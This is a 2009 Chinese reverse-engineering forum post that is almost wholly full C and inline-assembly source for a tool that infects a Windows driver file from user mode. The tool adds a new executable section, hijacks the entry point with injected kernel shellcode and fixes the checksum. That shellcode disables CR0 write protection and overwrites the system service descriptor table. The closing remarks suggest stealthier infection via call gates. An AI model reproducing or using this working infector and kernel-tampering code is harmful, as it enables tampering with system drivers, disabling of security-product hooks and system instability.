ring3下感染驱动->恢复ssdt

标题：ring3下感染驱动->恢复ssdt
作者：认真的雪
时间：2009-03-11 17:22
链接：http://bbs.pediy.com/showthread.php?t=83623
ring3下感染驱动文件，定位内核导出函数，恢复ssdt。。。。。。。

完整代码：
代码:
#include <windows.h>
#include <stdio.h>
#include <assert.h>
#define SECTION_SIZE    0x1000   
#define SECTION_NAME    ".ssdt"  


typedef struct {
    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef LONG NTSTATUS;

DWORD ssdt[284]={0};

typedef NTSTATUS (CALLBACK* NTQUERYSYSTEMINFORMATION)(    
                            DWORD    SystemInformationClass,
                            PVOID    SystemInformation,
                            ULONG    SystemInformationLength,
                            PULONG    ReturnLength
                            );


typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
    ULONG    Reserved[2];
    PVOID    Base;
    ULONG    Size;
    ULONG    Flags;
    USHORT    Index;
    USHORT    Unknown;
    USHORT    LoadCount;
    USHORT    ModuleNameOffset;
    CHAR    ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;

typedef struct {
    DWORD    dwNumberOfModules;
    SYSTEM_MODULE_INFORMATION    smi;
} MODULES, *PMODULES;

#define    SystemModuleInformation    11


NTQUERYSYSTEMINFORMATION NtQuerySystemInformation ;



int Align(int size, int ALIGN_BASE)
{
  int ret;
  int result;

  assert( 0 != ALIGN_BASE ); 

  result = size % ALIGN_BASE;
  if (0 != result)  
  {
    ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
  }
  else
  {
    ret = size;
  }

  return ret;
}


//增加一个节
BOOL AddSection(char *fileName)
{  IMAGE_DOS_HEADER *dosHeader;
  IMAGE_NT_HEADERS *ntHeader;
    IMAGE_SECTION_HEADER *sectionHeader;
  IMAGE_SECTION_HEADER *newSectionHeader;
  IMAGE_SECTION_HEADER *lastSectionHeader;
  int numOfSections;
    int FILE_ALIGN_MENT;
  int SECTION_ALIGN_MENT;
  

    HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  if(hFile==INVALID_HANDLE_VALUE)
  {
    printf("CreateFile Failed\n");
    return FALSE;
  }

  HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
  if(hMap==INVALID_HANDLE_VALUE)
  {
    printf("CreateFileMapping Failed\n");
    return FALSE;
  }

  LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
  if(lpBase==NULL)
  {
    printf("MapViewOfFile Failed\n");
    return FALSE;  
  }

  dosHeader=(IMAGE_DOS_HEADER*)lpBase;

  if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
  {
    printf("This is not a windows file\n");
    return FALSE;
  }
  
  ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
  if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
  {
    printf("This is not a win32 file\n");
    return FALSE;
  }
  FILE_ALIGN_MENT=ntHeader->OptionalHeader.FileAlignment;
  SECTION_ALIGN_MENT=ntHeader->OptionalHeader.SectionAlignment;

  numOfSections=ntHeader->FileHeader.NumberOfSections;
  ntHeader->FileHeader.NumberOfSections++;
  sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));


  lastSectionHeader=(IMAGE_SECTION_HEADER *)&sectionHeader[numOfSections-1];
  newSectionHeader=(IMAGE_SECTION_HEADER *)&sectionHeader[numOfSections];
  memset(newSectionHeader,0,sizeof(IMAGE_SECTION_HEADER));
  strncpy((char*)newSectionHeader->Name,SECTION_NAME,strlen(SECTION_NAME));
  newSectionHeader->VirtualAddress=Align(lastSectionHeader->VirtualAddress+lastSectionHeader->Misc.VirtualSize,SECTION_ALIGN_MENT);
  ntHeader->OptionalHeader.AddressOfEntryPoint=newSectionHeader->VirtualAddress;
  newSectionHeader->Misc.VirtualSize=Align(3000,SECTION_ALIGN_MENT);
  newSectionHeader->PointerToRawData=Align(lastSectionHeader->PointerToRawData+lastSectionHeader->SizeOfRawData,FILE_ALIGN_MENT);
    newSectionHeader->SizeOfRawData=Align(SECTION_SIZE, FILE_ALIGN_MENT);
  newSectionHeader->Characteristics=0xE0000020;
  ntHeader->OptionalHeader.SizeOfCode=Align(ntHeader->OptionalHeader.SizeOfCode+SECTION_SIZE, FILE_ALIGN_MENT);
  ntHeader->OptionalHeader.SizeOfImage=ntHeader->OptionalHeader.SizeOfImage+Align(SECTION_SIZE, SECTION_ALIGN_MENT);
  FlushViewOfFile(lpBase,0);
  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  if(SetFilePointer(hFile,SECTION_SIZE,NULL,FILE_END)==-1)
  {
    printf("SetFilePointer failed\n");
    return FALSE;
  }
  if(!SetEndOfFile(hFile))
  {
    printf("SetEndOfFile failed\n");
    return FALSE;
  }
  CloseHandle(hFile);

  return TRUE;

}



#define  KernelBase 0x4
#define  AddressOfFunctions 0x8
#define  AddressOfNames 0xc
#define  AddressOfNameOrdinals 0x10
#define  KeServiceDescriptorTable 0x4
#define  DbgPrint 0x8
#define  PrintString 0xc
#define  oldssdt 0x10




static __declspec(naked)void DriverEntry()
{

  _asm
  {
    push ebp;
    mov ebp,esp;
    sub esp,80h;
    mov eax,[ebp+08h];
    mov ebx,[eax+0ch];//DriverStart
        mov eax,[eax+10h];//DriverSize
    add ebx,eax;
    sub ebx,0x1000; //ebx查找的起始地址
    xor eax,eax;  //eax查找偏移

//查找函数字符串
SeachKeServiceDescriptorTable: 
    cmp dword ptr[ebx+eax],0xffffffff;
    jnz aKeServiceDescriptorTable;
    mov ecx,ebx;
    add ecx,eax;
    add ecx,4;
    mov [ebp-KeServiceDescriptorTable],ecx;  //KeServiceDescriptorTable

    add eax,4;
SeachDbgPrint:
    cmp dword ptr[ebx+eax],0xfffffffe;
    jnz aDbgPrint;
    mov ecx,ebx;
    add ecx,eax;
    add ecx,4;
    mov [ebp-DbgPrint],ecx;  //DbgPrint
    add eax,4;



//查找输出字符串
Seachxxx:
    cmp dword ptr[ebx+eax],0xfffffffd;
    jnz aSeachxxx;
    mov ecx,ebx;
    add ecx,eax;
    add ecx,4;
    mov [ebp-PrintString],ecx;  
//查找old ssdt
seachSsdt:
    cmp dword ptr[ebx+eax],0xfffffffc;
    jnz aseachSsdt;
    mov ecx,ebx;
    add ecx,eax;
    add ecx,4;
    mov [ebp-oldssdt],ecx;  


    push [ebp-KeServiceDescriptorTable];
    //得到KeServiceDescriptorTable地址
      call GetFunctionAddress;
    cmp eax,0;
    jz DriverEntryEnd;
    mov [ebp-KeServiceDescriptorTable],eax;

    push [ebp-DbgPrint];
    //得到DbgPrint函数地址
    call GetFunctionAddress;
    cmp eax,0;
    jz DriverEntryEnd;
    mov [ebp-DbgPrint],eax;
    
    push [ebp-PrintString];
    //调用DbgPrint输出信息
    call [ebp-DbgPrint];//输处信息


    //通过_KPCR结构得到kernelBase
    push    30h
    pop     fs;
    mov ecx,dword ptr fs:[34h];
    mov ecx ,[ecx+10h];
    push ecx;
    push [ebp-oldssdt];
    mov ebx,[ebp-KeServiceDescriptorTable];
    mov ebx,[ebx];
    push ebx;
    CLI  ;                 
    MOV    EAX, CR0  ;    
    AND EAX, NOT 10000H ;
    MOV    CR0, EAX;
    //恢复ssdt
    call RsetSSdt;
    MOV    EAX, CR0;        
    OR    EAX, 10000H;            
    MOV    CR0, EAX ;              
    STI;              


DriverEntryEnd:  
    xor eax,eax;
    xor ebx,ebx;
    mov esp,ebp;
    pop ebp;
    retn 8;
aKeServiceDescriptorTable:     
    inc eax;
    cmp eax,0x1000;
    jb SeachKeServiceDescriptorTable;
    jmp DriverEntryEnd;
aDbgPrint:
    inc eax;
    cmp eax,0x1000;
    jb SeachDbgPrint;
    jmp DriverEntryEnd;
aSeachxxx:
    inc eax;
    cmp eax,0x1000;
    jb Seachxxx;
    jmp DriverEntryEnd;
aseachSsdt:
    inc eax;
    cmp eax,0x1000;
    jb seachSsdt;
    jmp DriverEntryEnd;
//恢复ssdt函数
RsetSSdt:
    push ebp;
    mov ebp,esp;
    mov esi,[ebp+08h]; //now ssdt
    mov edx,[ebp+0ch]; //old ssdt
    xor eax,eax;  
start:  mov ecx,eax;
    shl ecx,2;
    mov ebx,[edx+ecx];
    add ebx,[ebp+10h];//kernelBase
    cmp ebx,[esi+ecx];
    jnz set;
    inc eax;
    cmp eax,284;
    jb start;
    jmp RsetSSdtEnd;
set:
    mov [esi+ecx],ebx;
    inc eax;
    cmp eax,284;
    jb start;
RsetSSdtEnd:
    mov esp,ebp;
    pop ebp;
    ret 0ch;
//遍历内核导出表，得到函数地址函数
GetFunctionAddress:

    push ebp;
    mov ebp,esp;
    sub esp,0x80;
    
    push    30h
    pop     fs
    mov ecx,dword ptr fs:[34h];
    mov ecx ,[ecx+10h];
  
    mov [ebp-KernelBase],ecx; //[ebp-04h]==kernelBase
    mov eax,[ecx]IMAGE_DOS_HEADER.e_lfanew;
    add eax,[ebp-KernelBase]; //eax=ntheader的地址
    mov eax,[eax]IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    add eax,[ebp-KernelBase];  //eax=导出表地址
    mov ebx,[eax+1ch];
    add ebx,[ebp-KernelBase]; //ebx=AddressOfFunctions
    mov [ebp-AddressOfFunctions],ebx;//[ebp-08h]保存AddressOfFunctions
    mov ebx,[eax+20h];
    add ebx,[ebp-KernelBase];
    mov [ebp-AddressOfNames],ebx;//[ebp-0ch]保存AddressOfNames;
    mov ebx,[eax+24h];
    add ebx,[ebp-KernelBase];
    mov [ebp-AddressOfNameOrdinals],ebx;

    mov esi,[eax+18h];//esi=NumberOfNames
    mov [ebp-14h],esi;
    mov edx, [ebp-AddressOfNames];//edx=AddressOfNames
    xor ecx,ecx;
    xor esi,esi;

seach:
    mov ecx,esi;
    shl ecx,2;
    add ecx,edx;
    mov ecx ,[ecx];
    add ecx,[ebp-KernelBase];

    push ecx;
    push [ebp+08h];
    call CmpString;
    cmp eax,0;
    jz v1;
    jmp find
v1:
    inc esi;
    dec dword ptr[ebp-14h];
    jnz seach
    xor eax,eax
EndGetFunctionAddress:

    mov esp,ebp;
    pop ebp;

    ret 4;
find:
    shl esi,1;
    mov ebx,[ebp-AddressOfNameOrdinals];
    add ebx,esi;
    xor ecx,ecx;
    mov cx,word ptr[ebx];
    shl ecx,2;
    mov ebx ,[ebp-AddressOfFunctions];
    add ebx,ecx;
    mov eax, [ebx];
    add eax,[ebp-KernelBase];
    jmp EndGetFunctionAddress;
//字符串比较函数
CmpString:
    push ebp;
    mov ebp,esp;
    pushad;
    pushfd;
    mov eax,[ebp+08h];
    mov ebx,[ebp+0ch];
    xor ecx,ecx;
    xor esi,esi;
cmpstr:
    mov dl,byte ptr[eax+esi];
    cmp dl,0h;
    jz same;
    mov ecx,esi;
    inc esi;
    cmp byte ptr[ebx+ecx],dl;
    jz cmpstr;
    popfd;
    popad;
    xor eax,eax;
    jmp CmpStringEnd;
    
    
same:   popfd;
    popad;  
    mov eax,1;
    
CmpStringEnd:
    
    
    mov esp,ebp;
    pop ebp;
    
    ret 8;

  }


}

static __declspec(naked) Ring0CodeEnd()
{
  
  _asm ret;
  
}





BOOL GetNtQuerySystemInformation()
{
  NtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)GetProcAddress(::GetModuleHandle("ntdll"),"NtQuerySystemInformation");
  if(NtQuerySystemInformation==NULL)
    return FALSE;
  return true;
}



BOOL GetKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
  
  PDWORD    pService;
  DWORD dwKiServiceTable;
  
  PIMAGE_OPTIONAL_HEADER poh;
  IMAGE_DOS_HEADER *dosHeader;
  IMAGE_NT_HEADERS *ntHeader;
  PIMAGE_BASE_RELOCATION    pbr;
    PIMAGE_FIXUP_ENTRY    pfe;  
  DWORD dwPointer;
  DWORD point;
  dosHeader=(IMAGE_DOS_HEADER*)hModule;
  if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
  {
    printf("This is not a windows file\n");
    return FALSE;
  }
  ntHeader=(IMAGE_NT_HEADERS*)((DWORD)hModule+dosHeader->e_lfanew);
  if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
  {
    printf("This is not a win32 file\n");
    return FALSE;
  }
  poh=(PIMAGE_OPTIONAL_HEADER)((DWORD)ntHeader+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER));
  

  pbr=(PIMAGE_BASE_RELOCATION )(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+(DWORD)hModule);
  pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
  BOOL    bFirstChunk=TRUE;
  while(bFirstChunk||pbr->VirtualAddress)
  {
    bFirstChunk=FALSE;
    for (DWORD i=0;((pbr->SizeOfBlock-8)/2)>i;i++)
    {
      if(pfe->type==IMAGE_REL_BASED_HIGHLOW)
      {
        dwPointer=pbr->VirtualAddress+pfe->offset;
        point=*(DWORD*)(dwPointer+(DWORD)hModule)-(DWORD)ntHeader->OptionalHeader.ImageBase;
        if(point==dwKSDT)
        {
          if(*(PWORD)(dwPointer+(DWORD)hModule-2)==0x05c7)
          {
            dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointer+4)-ntHeader->OptionalHeader.ImageBase;
            DWORD i=0;
            for (pService=(PDWORD)((DWORD)hModule+dwKiServiceTable);
            *pService-ntHeader->OptionalHeader.ImageBase<ntHeader->OptionalHeader.ImageBase;
            pService++,i++)
            {
                ssdt[i]=*pService-ntHeader->OptionalHeader.ImageBase;
            }
            
          }
        }
      }
      pfe++;  
    }
    pbr=(PIMAGE_BASE_RELOCATION)((DWORD)pbr+pbr->SizeOfBlock);
    pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));  
  }
  return TRUE;
}


//得到原始的ssdt
BOOL GetOldSsdt()
{
  HMODULE hModule;
  DWORD dwKSDT;

  DWORD    dwNeededSize,rc;
  PMODULES    pModules=(PMODULES)&pModules;
  PCHAR    pKernelName;
  if(!GetNtQuerySystemInformation())
  {
    printf("get NtQuerySystemInformation failed \n");
    return FALSE;
  }
  rc=NtQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
    if (rc==STATUS_INFO_LENGTH_MISMATCH) {
        pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize);
        rc=NtQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
    } else {
strange:
  printf("strange NtQuerySystemInformation()!\n");
  return FALSE;
    }
    if (!NT_SUCCESS(rc)) goto strange;
  pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
  hModule=LoadLibraryEx(pKernelName,NULL,DONT_RESOLVE_DLL_REFERENCES);
  if(hModule==NULL)
  {
    printf("load ntkrnlpa.exe failed\n");
    return FALSE;
  }
  dwKSDT=(DWORD)GetProcAddress(hModule,"KeServiceDescriptorTable");
  if(dwKSDT==NULL)
  {
    printf("get KeServiceDescriptorTable failed");
    return  FALSE;
  }
  dwKSDT=dwKSDT-(DWORD)hModule;
  if(!GetKiServiceTable(hModule,dwKSDT))
  {
    printf("get ssdt failed\n");
    return FALSE;
  }
  return TRUE;
  
}



//得到DriverEntry数据
PVOID GetCode(DWORD *codeSize)
{
  *codeSize=(DWORD)Ring0CodeEnd-(DWORD)DriverEntry;
//  printf("codeSize:%X\n",*codeSize);
  PVOID code=malloc(*codeSize);
  memcpy(code,(PVOID)DriverEntry,*codeSize);
  return code;

  
}



//把数据写入新节
BOOL WriteCodeToFile(char *fileName,PVOID code,DWORD codeSize)
{
  IMAGE_SECTION_HEADER *sectionHeader;
  IMAGE_SECTION_HEADER *lastSectionHeader;
  HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  if(hFile==INVALID_HANDLE_VALUE)
  {
    printf("CreateFile Failed\n");
    return FALSE;
  }
  
  HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
  if(hMap==INVALID_HANDLE_VALUE)
  {
    printf("CreateFileMapping Failed\n");
    return FALSE;
  }
  
  LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
  if(lpBase==NULL)
  {
    printf("MapViewOfFile Failed\n");
    return FALSE;  
  }
  IMAGE_DOS_HEADER *dosHeader;
  IMAGE_NT_HEADERS *ntHeader;
  dosHeader=(IMAGE_DOS_HEADER*)lpBase;
  
  if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
  {
    printf("This is not a windows file\n");
    return FALSE;
  }
  
  ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
  if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
  {
    printf("This is not a win32 file\n");
    return FALSE;
  }
  int numOfSections=ntHeader->FileHeader.NumberOfSections;
  sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));
  lastSectionHeader=(IMAGE_SECTION_HEADER *)&sectionHeader[numOfSections-1];
  DWORD codeAddress=lastSectionHeader->PointerToRawData+(DWORD)lpBase;
  memset((PVOID)codeAddress,0,SECTION_SIZE);
  memcpy((PVOID)codeAddress,code,codeSize);

  DWORD strAddress=codeAddress+codeSize+100;
  *(DWORD*)strAddress=0xffffffff;
  strAddress+=4;
  strcpy((char*)strAddress,"KeServiceDescriptorTable");
  strAddress=strAddress+strlen("KeServiceDescriptorTable")+10;

  *(DWORD*)strAddress=0xfffffffe;
  strAddress+=4;
  strcpy((char*)strAddress,"DbgPrint");
  strAddress=strAddress+strlen("DbgPrint")+10;

  *(DWORD*)strAddress=0xfffffffd;
  strAddress+=4;
  strcpy((char*)strAddress,"just for fun-----xiao ji ji\n");
  strAddress=strAddress+strlen("just for fun-----xiao ji ji\n")+10;

  *(DWORD*)strAddress=0xfffffffc;
  strAddress+=4;
  memcpy((PVOID)strAddress,ssdt,284*4);

  FlushViewOfFile(lpBase,0);
  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  CloseHandle(hFile);
  return TRUE;


}


USHORT
ChkSum(
     ULONG PartialSum,
     PUSHORT Source,
     ULONG Length
     )
     
{
  while (Length--) {
    PartialSum += *Source++;
    PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
  }
  return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
}

//计算校验和
BOOL CountCheckSum(char *fileName)
{
  DWORD buffSize;
  PWORD AdjustSum;
  HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  if(hFile==INVALID_HANDLE_VALUE)
  {
    printf("CreateFile Failed\n");
    return FALSE;
  }
  buffSize=GetFileSize(hFile,NULL);
  
  HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
  if(hMap==INVALID_HANDLE_VALUE)
  {
    printf("CreateFileMapping Failed\n");
    return FALSE;
  }
  
  LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
  if(lpBase==NULL)
  {
    printf("MapViewOfFile Failed\n");
    return FALSE;  
  }
  USHORT PartialSum;
  PIMAGE_NT_HEADERS32 ntHeader;
  PIMAGE_DOS_HEADER dosHeader;
  PartialSum = ChkSum(0, (PUSHORT)lpBase, (buffSize + 1) >> 1);
  dosHeader=(PIMAGE_DOS_HEADER)lpBase;
  ntHeader=(PIMAGE_NT_HEADERS32)(dosHeader->e_lfanew+(DWORD)lpBase);
  if(ntHeader->OptionalHeader.Magic == 0x10B)
  {

    AdjustSum = (PUSHORT)(&((PIMAGE_NT_HEADERS32)ntHeader)->OptionalHeader.CheckSum);
    PartialSum -= (PartialSum < AdjustSum[0]);
    PartialSum -= AdjustSum[0];
    PartialSum -= (PartialSum < AdjustSum[1]);
    PartialSum -= AdjustSum[1];
    
  }
  ntHeader->OptionalHeader.CheckSum=(DWORD)PartialSum+buffSize;
  FlushViewOfFile(lpBase,0);
  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  CloseHandle(hFile);
  return TRUE;
  
}

int main(int argc, char* argv[])
{
  char fileName[MAX_PATH];
  strcpy(fileName,argv[1]);
  if(!AddSection(fileName))
  {
    printf("Add Section failed\n");
    return 0;
  }
  DWORD codeSize;
  PVOID code=GetCode(&codeSize);
  if(code==NULL)
  {
    printf("get code failed\n");
    return 0;
  }
  if(!GetOldSsdt())
  {
    printf("get old ssdt failed\n");
    return 0;
  }
  if(!WriteCodeToFile(fileName,code,codeSize))
  {
    printf("write code to file failed\n");
    return 0;
  }
  if(!CountCheckSum(fileName))
  {
    printf("count checksum failed\n");
    return 0;
    
  }
  printf("Infect driver file successed\n");
  return 0;
}
这里只是用普通的文件读写操作来感染滴。。当然可以用更萎缩的方法
加个调用门之类的，应该效果会更好。。ring3程序能更好的控制ssdt的恢复。。。
bin:
上传的附件
InfectSys.rar